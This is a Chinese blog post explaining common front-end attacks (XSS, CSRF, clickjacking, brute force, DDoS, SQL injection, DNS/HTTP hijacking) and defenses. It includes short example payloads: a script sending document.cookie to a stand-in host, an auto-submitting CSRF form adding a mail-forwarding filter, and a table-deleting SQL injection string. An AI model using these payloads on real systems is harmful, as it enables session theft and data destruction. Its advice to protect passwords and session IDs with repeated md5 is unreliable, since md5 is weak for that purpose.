前端安全-常见攻击手段及预防措施

原文链接: https://www.cnblogs.com/yalong/p/16638754.html

常见攻击手段如下:

XSS

Cross Site Scripting 跨站脚本攻击, 直接简写就是CSS, 为了跟样式的CSS做区分,所以称为XSS

用户通过某种方式(如输入框、文本编辑器)输入一些内容,其中带有攻击代码(JS 代码)。

该内容在显示时,这些代码也将会被执行,形成了攻击效果。

<!-- 例如用户提交的内容中有: -->
<script>
    var img = document.createElement('img')
    img.src = 'http://abc.com/api/xxx?userInfo=' + document.cookie // 将 cookie 提交到自己的服务器
</script>

这样,abc 域名下的服务就可以接收到请求,从而获取网站 cookie

最简单的解决方式:替换特殊字符
const newStr = str.replaceAll('<', '&lt;').replaceAll('>', '&gt;')
也可以使用第三方工具,例如
现代框架默认会屏蔽 XSS 攻击,除非自己手动开启,开启方式如下
  • Vue v-html
  • React dangerouslySetInnerHTML
XSS 的预防

cookie设置httponly, 让js无法获取到cookie的内容

CSRF

Cross-site request forgery 跨站请求伪造

请看下面的故事

  • 小明登录了 Gmail 邮箱,收到一封广告邮件 “转让比特币,只要 998”
  • 小明抱着好奇的心态点开看了看,发现是个空白页面,就关闭了

但此时,攻击已经完成了。黑客在这个空白页面设置了 js 代码,会让小明的邮件都转发到 hacker@hackermail.com

因为小明已经登录了 Gmail ,有了 Gmail 的 cookie 。所以再去请求 Gmail API 就会带着 cookie ,就有可能成功。

<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> 
    <input type="hidden" name="cf2_emc" value="true"/> 
    <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> 
    .....
    <input type="hidden" name="irf" value="on"/> 
    <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form> 
<script> 
    document.forms[0].submit();

    // PS:有些是 post 请求,有些是 get 请求
    //     get 请求如果用 img.src 还可以规避跨域,更加危险
</script>

邮件经常用来接收验证码,这是很危险的事情。

当然了,后来 Gmail 修复了这个漏洞。但新的故事仍在不断发生中。

CSRF 的过程
  • 用户登录了 a.com ,有了 cookie
  • 黑客引诱用户访问 b.com 网页,并在其中发起一个跨站请求 a.com/api/xxx
  • a.com API 收到 cookie ,误以为是真实用户的请求,就受理了
CSRF 的预防
  • 严格的跨域请求限制, 后端添加严格的 refer 验证, 只有是自己的域名才通过
  • 为 cookie 设置 SameSite 不随跨域请求被发送 Set-Cookie: key1=val1; key2=val2; SameSite=Strict;
  • 关键接口使用短信验证码等双重验证

XSS 是拿到cookie, CSRF 是借用cookie, 这是两者最大的区别

点击劫持 Clickjacking

小明被诱导到一个钓鱼网站,点击了一个按钮,如果他正好已经登录了微博, 那么这时候就已经关注了微博的某个博主。

这可以是关注,也可以是付款转账等其他危险操作。

点击劫持的原理:黑客在自己的网站,使用隐藏的 <iframe> 嵌入其他网页,诱导用户按顺序点击。

预防方法如下

使用 JS 预防
if (top.location.hostname !== self.location.hostname) {
    alert("您正在访问不安全的页面,即将跳转到安全页面!")
    top.location.href = self.location.href
}
增加 http header X-Frame-Options:SAMEORIGIN ,让 <iframe> 只能加载同域名的网页。
不要轻易点击陌生的链接

比如知乎上,对于跳转到外部的链接,都会有个这样的提示:

暴力攻击

这里以登录接口为例,因为登录接口是任何人都可以接触到的,如果黑客采用暴力攻击来破解登录,
随机生成用户名,密码,每秒发送大批量的登录请求,很有可能会真的登录成功了

预防措施
  1. 登录页面加上人机验证机制,比如12306登录的时候,会让用户滑动一个滑动条,或者在多张图中 识别带有摩托车的图片, 这样可以过滤大部分机器请求

  2. 添加验证码机,而且是后端生成的验证码,后端生成验证码的值,和对应的验证码id, (这个id是保存在服务端的,黑客无法获取到) 以及过期时间
    只有用户名,密码,验证码,验证码id 都通过,并且验证码还在有效期内,才可以登录成功

  3. 添加预警机制, 比如某个ip 短时间内,触发了几百上千次登录请求,这种情况肯定是非正常请求,可以把对应的ip直接封掉

DDoS

Distributed denial-of-service 分布式拒绝服务

DDoS是 通过大规模的网络流量淹没目标服务器或其周边基础设施,以破坏目标服务器、服务或网络正常流量的恶意行为。

类似于恶意堵车,妨碍正常车辆通行。

网络上的设备感染了恶意软件,被黑客操控,同时向一个域名或者 IP 发送网络请求。因此形成了洪水一样的攻击效果。

由于这些请求都来自分布在网络上的各个设备,所以不太容易分辨合法性。

DDoS 的预防:

软件层面不好做,可以选择商用的防火墙,如阿里云 WAF

PS:阮一峰的网站就曾遭遇过 DDoS 攻击 https://www.ruanyifeng.com/blog/2018/06/ddos.html

SQL 注入

普通的登录方式,输入用户名 zhangsan 、密码 123 ,然后服务端去数据库查询。

会执行一个 sql 语句 select * from users where username='zhangsan' and password='123' ,然后判断是否找到该用户。

如果用户输入的是用户名 ' delete from users where 1=1; -- ,密码 '123'

那生成的 sql 语句就是 select * from users where username='' delete from users where 1=1; --' and password='123'

这样就会把 users 数据表全部删除。

防止 SQL 注入方法:

1.服务端进行特殊字符转换,如把 ' 转换为 \', 或者使成熟的工具,比如 mysql.escape(param) 进行编码

2.如果查询字段是纯数字,对字段进行number类型校验,保证输入格式的正确

3.不要直接使用拼接的sql的方式, 使用ORM库(对象关系映射),比如 sequelizesequelize 会处理一部分 sql注入,同时数据库操作更严谨,也更方便

4.核心原则就是不要轻易相信用户输入的内容

网络劫持

运营商、黑客、浏览器厂商、手机厂商,通过某些方式篡改了用户正常访问的网页,插入广告或者其他一些杂七杂八的东西。

网络劫持最主要的就是运营商层面的劫持。

运营商劫持主要分两种:DNS劫持和HTTP劫持

DNS劫持

一般而言,用户上网的DNS服务器都是运营商分配的,所以在这个节点上,运营商可以为所欲为。

如下图所示:

正常访问过程:1. 用户输入域名;2. DNS把域名翻译成IP传给网站服务器;3.网站服务器再把对应IP的网页呈现给用户

在上面第2步,DNS服务器把域名翻译成的IP被攻击者替换,攻击者劫持正确的IP,然后换成攻击者提供的自己做的网站的IP传给网站,网站调出该IP对应的网页,呈现给用户,这时用户看到的就是攻击者的网站了,这也就是DNS劫持的原理。

HTTP劫持

用户发送了HTTP请求后
运营商的路由器会首先收到此次HTTP请求,之后运营商路由器的旁路设备标记此TCP连接为HTTP协议,之后可以抢在网站服务器返回数据之前发送HTTP协议的302代码进行劫持,随后网站服务器的真正数据到达后反而会被丢弃。
或者,旁路设备在标记此TCP连接为HTTP协议后,直接返回修改后的HTML代码,导致浏览器中被插入了运营商的广告,随后网站服务器的真正数据到达后最终也是被丢弃。

从上述原理中看出,如果需要进行HTTP劫持,首先需要进行标记:如果是HTTP协议,那么进行劫持,否则不进行劫持。

劫持的手段
  • 直接返回一个带广告的HTML
  • 在原html中插入js,再通过js脚本安插广告
  • 在原来正常网页嵌入iframe
HTTP劫持的主要步骤
  • 标识HTTP连接, 在TCP连接中,找出应用层采用了HTTP协议的连接,进行标识
  • 篡改HTTP响应体,可以通过网关来获取数据包进行内容的篡改
  • 抢先回包,将篡改后的数据包抢先正常站点返回的数据包先到达用户侧,这样后面正常的数据包在到达之后会被直接丢弃

由于HTTP劫持可以修改请求的响应体,所以如果黑客修改了登录请求的结果,改为登录成功,前端页面如果只依靠登录结果作为验证标准,这种情况下,黑客是可以进入到系统内部的,所以前后端必须有严格的登录验证机制

防劫持方法
  • 对于用户来说,最最直接的就是向运营商投诉,但是没啥用,因为这是断人家财路
  • 在开发的网页中加入代码过滤,大概思路就是用JavaScript代码检查所有的外链是否属于白名单,不是的话直接删掉。
  • 最有用的方式,使用HTTPS 。https协议就是http+ssl协议;https 加了SSL协议,会对数据进行加密,如果是HTTP请求,登录的时候,用户名、密码没有加密,也是可能会被劫持到的

HTTPS 是相对安全了, 但也不是绝对安全,HTTPS加密过程,以及攻击HTTPS 的手段,具体可以看这里: HTTPS加密过程以及中间人攻击

其他预防措施

  1. 全部请求都添加refer验证,过滤非本域名下的请求
  2. 对于需要登录的系统,除了登录页面,登录接口,其他全部页面、接口都添加登录验证
  3. 对于需要登录的系统,SPA 换成服务端渲染,这样就可以把登录验证全部放在服务端,前端的登录验证比较容易攻破
  4. 前端服务跟接口服务分别部署在不同的机器,这样就算黑客攻击进入了前端的服务器,还是无法进入接口服务器
  5. 关键信息进行md5加密,md5加密是不可逆的,甚至可以进行多次md5加密,因为多次加密,破解会更麻烦
  6. sessionId 二次加密:服务器上保存一个秘钥,返回到浏览器的 sessionId 进行一次md5加密,存在数据库中的sessionId 跟秘钥结合再进行多次md5加密,后续浏览器传过来的sessionId 都要跟服务器上的秘钥结合再进行md5加密,然后用加密后的结果,去数据库中查找
    这样就保证了,返回给浏览器的sessionID 跟 数据库中存的sessionId 是不一样的; 比如黑客通过某种渠道,获取到了数据库中的seeionId,如果直接用这个值发送请求的话, 也是无法成功的,这样就提高安全性
  7. 对于一些关键数据,比如密码,不要明文传递,保存在数据库中也不要是明文,都要是加密后的数据
posted @ 2022-09-01 09:00  进军的蜗牛  阅读(510)  评论(0编辑  收藏  举报